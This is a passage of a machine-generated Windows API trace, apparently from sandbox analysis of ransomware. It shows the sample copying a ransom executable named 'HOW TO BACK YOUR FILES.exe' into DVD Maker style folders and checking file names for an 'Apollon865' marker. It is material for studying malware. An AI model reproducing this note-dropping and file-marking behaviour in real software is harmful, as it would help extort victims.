	[0074.396] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion", iMaxLength=260 | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion"
	[0074.396] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x591640 | out: hHeap=0x580000) returned 1
	[0074.396] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c88 | out: hHeap=0x580000) returned 1
	[0074.396] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion") returned 59
	[0074.396] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion"
	[0074.397] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0074.397] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\specialoccasion\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0074.402] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0074.402] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\SpecialOccasion\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a65ec8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x446bf150, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x446bf150, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0074.402] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.402] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0074.402] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="1047x576black.png" | out: lpString1="1047x576black.png") returned="1047x576black.png"
	[0074.402] lstrlenW (lpString="1047x576black.png") returned 17
	[0074.402] lstrlenW (lpString="Apollon865") returned 10
	[0074.402] lstrcmpiW (lpString1="6black.png", lpString2="Apollon865") returned -1
	[0074.402] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="mainscroll.png" | out: lpString1="mainscroll.png") returned="mainscroll.png"
	[0074.402] lstrlenW (lpString="mainscroll.png") returned 14
	[0074.403] lstrlenW (lpString="Apollon865") returned 10
	[0074.403] lstrcmpiW (lpString1="scroll.png", lpString2="Apollon865") returned 1
	[0074.403] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="NavigationLeft_ButtonGraphic.png" | out: lpString1="NavigationLeft_ButtonGraphic.png") returned="NavigationLeft_ButtonGraphic.png"
	[0074.403] lstrlenW (lpString="NavigationLeft_ButtonGraphic.png") returned 32
	[0074.403] lstrlenW (lpString="Apollon865") returned 10
	[0074.403] lstrcmpiW (lpString1="raphic.png", lpString2="Apollon865") returned 1
	[0074.403] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="NavigationLeft_SelectionSubpicture.png" | out: lpString1="NavigationLeft_SelectionSubpicture.png") returned="NavigationLeft_SelectionSubpicture.png"
	[0074.403] lstrlenW (lpString="NavigationLeft_SelectionSubpicture.png") returned 38
	[0074.403] lstrlenW (lpString="Apollon865") returned 10
	[0074.403] lstrcmpiW (lpString1="icture.png", lpString2="Apollon865") returned 1
	[0074.403] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="NavigationRight_ButtonGraphic.png" | out: lpString1="NavigationRight_ButtonGraphic.png") returned="NavigationRight_ButtonGraphic.png"
	[0074.403] lstrlenW (lpString="NavigationRight_ButtonGraphic.png") returned 33
	[0074.403] lstrlenW (lpString="Apollon865") returned 10
	[0074.403] lstrcmpiW (lpString1="raphic.png", lpString2="Apollon865") returned 1
	[0074.403] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="NavigationRight_SelectionSubpicture.png" | out: lpString1="NavigationRight_SelectionSubpicture.png") returned="NavigationRight_SelectionSubpicture.png"
	[0074.403] lstrlenW (lpString="NavigationRight_SelectionSubpicture.png") returned 39
	[0074.403] lstrlenW (lpString="Apollon865") returned 10
	[0074.403] lstrcmpiW (lpString1="icture.png", lpString2="Apollon865") returned 1
	[0074.403] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="NavigationUp_ButtonGraphic.png" | out: lpString1="NavigationUp_ButtonGraphic.png") returned="NavigationUp_ButtonGraphic.png"
	[0074.403] lstrlenW (lpString="NavigationUp_ButtonGraphic.png") returned 30
	[0074.403] lstrlenW (lpString="Apollon865") returned 10
	[0074.403] lstrcmpiW (lpString1="raphic.png", lpString2="Apollon865") returned 1
	[0074.404] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="NavigationUp_SelectionSubpicture.png" | out: lpString1="NavigationUp_SelectionSubpicture.png") returned="NavigationUp_SelectionSubpicture.png"
	[0074.404] lstrlenW (lpString="NavigationUp_SelectionSubpicture.png") returned 36
	[0074.404] lstrlenW (lpString="Apollon865") returned 10
	[0074.404] lstrcmpiW (lpString1="icture.png", lpString2="Apollon865") returned 1
	[0074.404] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="scenesscroll.png" | out: lpString1="scenesscroll.png") returned="scenesscroll.png"
	[0074.404] lstrlenW (lpString="scenesscroll.png") returned 16
	[0074.404] lstrlenW (lpString="Apollon865") returned 10
	[0074.404] lstrcmpiW (lpString1="scroll.png", lpString2="Apollon865") returned 1
	[0074.404] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="specialmainsubpicture.png" | out: lpString1="specialmainsubpicture.png") returned="specialmainsubpicture.png"
	[0074.404] lstrlenW (lpString="specialmainsubpicture.png") returned 25
	[0074.404] lstrlenW (lpString="Apollon865") returned 10
	[0074.404] lstrcmpiW (lpString1="icture.png", lpString2="Apollon865") returned 1
	[0074.404] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="SpecialNavigationLeft_ButtonGraphic.png" | out: lpString1="SpecialNavigationLeft_ButtonGraphic.png") returned="SpecialNavigationLeft_ButtonGraphic.png"
	[0074.404] lstrlenW (lpString="SpecialNavigationLeft_ButtonGraphic.png") returned 39
	[0074.404] lstrlenW (lpString="Apollon865") returned 10
	[0074.404] lstrcmpiW (lpString1="raphic.png", lpString2="Apollon865") returned 1
	[0074.404] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="SpecialNavigationLeft_SelectionSubpicture.png" | out: lpString1="SpecialNavigationLeft_SelectionSubpicture.png") returned="SpecialNavigationLeft_SelectionSubpicture.png"
	[0074.404] lstrlenW (lpString="SpecialNavigationLeft_SelectionSubpicture.png") returned 45
	[0074.404] lstrlenW (lpString="Apollon865") returned 10
	[0074.404] lstrcmpiW (lpString1="icture.png", lpString2="Apollon865") returned 1
	[0074.404] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="SpecialNavigationRight_ButtonGraphic.png" | out: lpString1="SpecialNavigationRight_ButtonGraphic.png") returned="SpecialNavigationRight_ButtonGraphic.png"
	[0074.404] lstrlenW (lpString="SpecialNavigationRight_ButtonGraphic.png") returned 40
	[0074.404] lstrlenW (lpString="Apollon865") returned 10
	[0074.405] lstrcmpiW (lpString1="raphic.png", lpString2="Apollon865") returned 1
	[0074.405] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="SpecialNavigationRight_SelectionSubpicture.png" | out: lpString1="SpecialNavigationRight_SelectionSubpicture.png") returned="SpecialNavigationRight_SelectionSubpicture.png"
	[0074.405] lstrlenW (lpString="SpecialNavigationRight_SelectionSubpicture.png") returned 46
	[0074.405] lstrlenW (lpString="Apollon865") returned 10
	[0074.405] lstrcmpiW (lpString1="icture.png", lpString2="Apollon865") returned 1
	[0074.405] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="SpecialNavigationUp_ButtonGraphic.png" | out: lpString1="SpecialNavigationUp_ButtonGraphic.png") returned="SpecialNavigationUp_ButtonGraphic.png"
	[0074.405] lstrlenW (lpString="SpecialNavigationUp_ButtonGraphic.png") returned 37
	[0074.405] lstrlenW (lpString="Apollon865") returned 10
	[0074.405] lstrcmpiW (lpString1="raphic.png", lpString2="Apollon865") returned 1
	[0074.405] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="SpecialNavigationUp_SelectionSubpicture.png" | out: lpString1="SpecialNavigationUp_SelectionSubpicture.png") returned="SpecialNavigationUp_SelectionSubpicture.png"
	[0074.405] lstrlenW (lpString="SpecialNavigationUp_SelectionSubpicture.png") returned 43
	[0074.405] lstrlenW (lpString="Apollon865") returned 10
	[0074.405] lstrcmpiW (lpString1="icture.png", lpString2="Apollon865") returned 1
	[0074.405] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="specialoccasion.png" | out: lpString1="specialoccasion.png") returned="specialoccasion.png"
	[0074.405] lstrlenW (lpString="specialoccasion.png") returned 19
	[0074.405] lstrlenW (lpString="Apollon865") returned 10
	[0074.405] lstrcmpiW (lpString1="casion.png", lpString2="Apollon865") returned 1
	[0074.405] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="whitemask1047.png" | out: lpString1="whitemask1047.png") returned="whitemask1047.png"
	[0074.405] lstrlenW (lpString="whitemask1047.png") returned 17
	[0074.405] lstrlenW (lpString="Apollon865") returned 10
	[0074.405] lstrcmpiW (lpString1="sk1047.png", lpString2="Apollon865") returned 1
	[0074.405] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="whitevignette1047.png" | out: lpString1="whitevignette1047.png") returned="whitevignette1047.png"
	[0074.406] lstrlenW (lpString="whitevignette1047.png") returned 21
	[0074.406] lstrlenW (lpString="Apollon865") returned 10
	[0074.406] lstrcmpiW (lpString1="te1047.png", lpString2="Apollon865") returned 1
	[0074.406] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter", iMaxLength=260 | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter"
	[0074.406] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5aff18 | out: hHeap=0x580000) returned 1
	[0074.406] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ae8 | out: hHeap=0x580000) returned 1
	[0074.406] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter") returned 51
	[0074.406] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter"
	[0074.406] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0074.406] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0074.414] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0074.414] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4d7984, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x446bf150, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x446bf150, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0074.414] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.414] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0074.414] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="1047x576black.png" | out: lpString1="1047x576black.png") returned="1047x576black.png"
	[0074.414] lstrlenW (lpString="1047x576black.png") returned 17
	[0074.414] lstrlenW (lpString="Apollon865") returned 10
	[0074.414] lstrcmpiW (lpString1="6black.png", lpString2="Apollon865") returned -1
	[0074.414] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="203x8subpicture.png" | out: lpString1="203x8subpicture.png") returned="203x8subpicture.png"
	[0074.414] lstrlenW (lpString="203x8subpicture.png") returned 19
	[0074.414] lstrlenW (lpString="Apollon865") returned 10
	[0074.414] lstrcmpiW (lpString1="icture.png", lpString2="Apollon865") returned 1
	[0074.414] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="NavigationLeft_ButtonGraphic.png" | out: lpString1="NavigationLeft_ButtonGraphic.png") returned="NavigationLeft_ButtonGraphic.png"
	[0074.414] lstrlenW (lpString="NavigationLeft_ButtonGraphic.png") returned 32
	[0074.414] lstrlenW (lpString="Apollon865") returned 10
	[0074.414] lstrcmpiW (lpString1="raphic.png", lpString2="Apollon865") returned 1
	[0074.415] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="NavigationLeft_SelectionSubpicture.png" | out: lpString1="NavigationLeft_SelectionSubpicture.png") returned="NavigationLeft_SelectionSubpicture.png"
	[0074.415] lstrlenW (lpString="NavigationLeft_SelectionSubpicture.png") returned 38
	[0074.415] lstrlenW (lpString="Apollon865") returned 10
	[0074.415] lstrcmpiW (lpString1="icture.png", lpString2="Apollon865") returned 1
	[0074.415] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="NavigationRight_ButtonGraphic.png" | out: lpString1="NavigationRight_ButtonGraphic.png") returned="NavigationRight_ButtonGraphic.png"
	[0074.415] lstrlenW (lpString="NavigationRight_ButtonGraphic.png") returned 33
	[0074.415] lstrlenW (lpString="Apollon865") returned 10
	[0074.415] lstrcmpiW (lpString1="raphic.png", lpString2="Apollon865") returned 1
	[0074.415] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="NavigationRight_SelectionSubpicture.png" | out: lpString1="NavigationRight_SelectionSubpicture.png") returned="NavigationRight_SelectionSubpicture.png"
	[0074.415] lstrlenW (lpString="NavigationRight_SelectionSubpicture.png") returned 39
	[0074.415] lstrlenW (lpString="Apollon865") returned 10
	[0074.415] lstrcmpiW (lpString1="icture.png", lpString2="Apollon865") returned 1
	[0074.415] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="NavigationUp_ButtonGraphic.png" | out: lpString1="NavigationUp_ButtonGraphic.png") returned="NavigationUp_ButtonGraphic.png"
	[0074.415] lstrlenW (lpString="NavigationUp_ButtonGraphic.png") returned 30
	[0074.415] lstrlenW (lpString="Apollon865") returned 10
	[0074.415] lstrcmpiW (lpString1="raphic.png", lpString2="Apollon865") returned 1
	[0074.415] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="NavigationUp_SelectionSubpicture.png" | out: lpString1="NavigationUp_SelectionSubpicture.png") returned="NavigationUp_SelectionSubpicture.png"
	[0074.415] lstrlenW (lpString="NavigationUp_SelectionSubpicture.png") returned 36
	[0074.415] lstrlenW (lpString="Apollon865") returned 10
	[0074.415] lstrcmpiW (lpString1="icture.png", lpString2="Apollon865") returned 1
	[0074.415] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="shatter.png" | out: lpString1="shatter.png") returned="shatter.png"
	[0074.415] lstrlenW (lpString="shatter.png") returned 11
	[0074.416] lstrlenW (lpString="Apollon865") returned 10
	[0074.416] lstrcmpiW (lpString1="hatter.png", lpString2="Apollon865") returned 1
	[0074.416] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels", iMaxLength=260 | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels"
	[0074.416] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x591440 | out: hHeap=0x580000) returned 1
	[0074.416] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c08 | out: hHeap=0x580000) returned 1
	[0074.416] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels") returned 58
	[0074.416] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels"
	[0074.416] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0074.416] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0074.436] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0074.436] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa119af33, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x446e52b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x446e52b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0074.436] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.436] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0074.437] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="1047x576black.png" | out: lpString1="1047x576black.png") returned="1047x576black.png"
	[0074.437] lstrlenW (lpString="1047x576black.png") returned 17
	[0074.437] lstrlenW (lpString="Apollon865") returned 10
	[0074.437] lstrcmpiW (lpString1="6black.png", lpString2="Apollon865") returned -1
	[0074.437] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="203x8subpicture.png" | out: lpString1="203x8subpicture.png") returned="203x8subpicture.png"
	[0074.437] lstrlenW (lpString="203x8subpicture.png") returned 19
	[0074.437] lstrlenW (lpString="Apollon865") returned 10
	[0074.437] lstrcmpiW (lpString1="icture.png", lpString2="Apollon865") returned 1
	[0074.437] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="bandwidth.png" | out: lpString1="bandwidth.png") returned="bandwidth.png"
	[0074.437] lstrlenW (lpString="bandwidth.png") returned 13
	[0074.437] lstrlenW (lpString="Apollon865") returned 10
	[0074.437] lstrcmpiW (lpString1="dwidth.png", lpString2="Apollon865") returned 1
	[0074.437] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="blackbars80.png" | out: lpString1="blackbars80.png") returned="blackbars80.png"
	[0074.437] lstrlenW (lpString="blackbars80.png") returned 15
	[0074.437] lstrlenW (lpString="Apollon865") returned 10
	[0074.437] lstrcmpiW (lpString1="bars80.png", lpString2="Apollon865") returned 1
	[0074.437] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="NavigationLeft_ButtonGraphic.png" | out: lpString1="NavigationLeft_ButtonGraphic.png") returned="NavigationLeft_ButtonGraphic.png"
	[0074.437] lstrlenW (lpString="NavigationLeft_ButtonGraphic.png") returned 32
	[0074.437] lstrlenW (lpString="Apollon865") returned 10
	[0074.437] lstrcmpiW (lpString1="raphic.png", lpString2="Apollon865") returned 1
	[0074.438] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="NavigationLeft_SelectionSubpicture.png" | out: lpString1="NavigationLeft_SelectionSubpicture.png") returned="NavigationLeft_SelectionSubpicture.png"
	[0074.438] lstrlenW (lpString="NavigationLeft_SelectionSubpicture.png") returned 38
	[0074.438] lstrlenW (lpString="Apollon865") returned 10
	[0074.438] lstrcmpiW (lpString1="icture.png", lpString2="Apollon865") returned 1
	[0074.438] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="NavigationRight_ButtonGraphic.png" | out: lpString1="NavigationRight_ButtonGraphic.png") returned="NavigationRight_ButtonGraphic.png"
	[0074.438] lstrlenW (lpString="NavigationRight_ButtonGraphic.png") returned 33
	[0074.438] lstrlenW (lpString="Apollon865") returned 10
	[0074.438] lstrcmpiW (lpString1="raphic.png", lpString2="Apollon865") returned 1
	[0074.438] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="NavigationRight_SelectionSubpicture.png" | out: lpString1="NavigationRight_SelectionSubpicture.png") returned="NavigationRight_SelectionSubpicture.png"
	[0074.438] lstrlenW (lpString="NavigationRight_SelectionSubpicture.png") returned 39
	[0074.438] lstrlenW (lpString="Apollon865") returned 10
	[0074.438] lstrcmpiW (lpString1="icture.png", lpString2="Apollon865") returned 1
	[0074.438] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="NavigationUp_ButtonGraphic.png" | out: lpString1="NavigationUp_ButtonGraphic.png") returned="NavigationUp_ButtonGraphic.png"
	[0074.438] lstrlenW (lpString="NavigationUp_ButtonGraphic.png") returned 30
	[0074.438] lstrlenW (lpString="Apollon865") returned 10
	[0074.438] lstrcmpiW (lpString1="raphic.png", lpString2="Apollon865") returned 1
	[0074.438] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="NavigationUp_SelectionSubpicture.png" | out: lpString1="NavigationUp_SelectionSubpicture.png") returned="NavigationUp_SelectionSubpicture.png"
	[0074.438] lstrlenW (lpString="NavigationUp_SelectionSubpicture.png") returned 36
	[0074.438] lstrlenW (lpString="Apollon865") returned 10
	[0074.438] lstrcmpiW (lpString1="icture.png", lpString2="Apollon865") returned 1
	[0074.438] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="Panel_Mask.wmv" | out: lpString1="Panel_Mask.wmv") returned="Panel_Mask.wmv"
	[0074.438] lstrlenW (lpString="Panel_Mask.wmv") returned 14
	[0074.439] lstrlenW (lpString="Apollon865") returned 10
	[0074.439] lstrcmpiW (lpString1="l_Mask.wmv", lpString2="Apollon865") returned 1
	[0074.439] lstrcpyW (in: lpString1=0x2d3e5c6, lpString2="Panel_Mask_PAL.wmv" | out: lpString1="Panel_Mask_PAL.wmv") returned="Panel_Mask_PAL.wmv"
	[0074.439] lstrlenW (lpString="Panel_Mask_PAL.wmv") returned 18
	[0074.439] lstrlenW (lpString="Apollon865") returned 10
	[0074.439] lstrcmpiW (lpString1="sk_PAL.wmv", lpString2="Apollon865") returned 1
	[0074.439] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles", iMaxLength=260 | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles"
	[0074.439] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0074.439] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ca8 | out: hHeap=0x580000) returned 1
	[0074.439] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles") returned 54
	[0074.439] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles" | out: lpString1="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles") returned="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles"
	[0074.439] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0074.439] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0074.463] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0074.463] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f38039d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x44731570, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x44731570, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0074.463] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.464] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0074.464] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="1047x576black.png" | out: lpString1="1047x576black.png") returned="1047x576black.png"
	[0074.464] lstrlenW (lpString="1047x576black.png") returned 17
	[0074.464] lstrlenW (lpString="Apollon865") returned 10
	[0074.464] lstrcmpiW (lpString1="6black.png", lpString2="Apollon865") returned -1
	[0074.464] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="1047x576_91n92.png" | out: lpString1="1047x576_91n92.png") returned="1047x576_91n92.png"
	[0074.464] lstrlenW (lpString="1047x576_91n92.png") returned 18
	[0074.464] lstrlenW (lpString="Apollon865") returned 10
	[0074.464] lstrcmpiW (lpString1="_91n92.png", lpString2="Apollon865") returned -1
	[0074.464] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="15x15dot.png" | out: lpString1="15x15dot.png") returned="15x15dot.png"
	[0074.464] lstrlenW (lpString="15x15dot.png") returned 12
	[0074.464] lstrlenW (lpString="Apollon865") returned 10
	[0074.464] lstrcmpiW (lpString1="x15dot.png", lpString2="Apollon865") returned 1
	[0074.464] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="720x480icongraphic.png" | out: lpString1="720x480icongraphic.png") returned="720x480icongraphic.png"
	[0074.464] lstrlenW (lpString="720x480icongraphic.png") returned 22
	[0074.464] lstrlenW (lpString="Apollon865") returned 10
	[0074.464] lstrcmpiW (lpString1="raphic.png", lpString2="Apollon865") returned 1
	[0074.464] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="NavigationLeft_ButtonGraphic.png" | out: lpString1="NavigationLeft_ButtonGraphic.png") returned="NavigationLeft_ButtonGraphic.png"
	[0074.465] lstrlenW (lpString="NavigationLeft_ButtonGraphic.png") returned 32
	[0074.465] lstrlenW (lpString="Apollon865") returned 10
	[0074.465] lstrcmpiW (lpString1="raphic.png", lpString2="Apollon865") returned 1
	[0074.465] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="NavigationLeft_SelectionSubpicture.png" | out: lpString1="NavigationLeft_SelectionSubpicture.png") returned="NavigationLeft_SelectionSubpicture.png"
	[0074.465] lstrlenW (lpString="NavigationLeft_SelectionSubpicture.png") returned 38
	[0074.465] lstrlenW (lpString="Apollon865") returned 10
	[0074.465] lstrcmpiW (lpString1="icture.png", lpString2="Apollon865") returned 1
	[0074.465] lstrcpyW (in: lpString1=0x2d3e5be, lpString2="NavigationRight_ButtonGraphic.png" | out: lpString1="NavigationRight_ButtonGraphic.png") returned="NavigationRight_ButtonGraphic.png"
	[0074.465] lstrlenW (lpString="NavigationRight_ButtonGraphic.png") returned 33
	[0074.465] lstrlenW (lpString="Apollon865") returned 10
	[0074.465] lstrcmpiW (lpString1="raphic.png", lpString2="Apollon865") returned 1
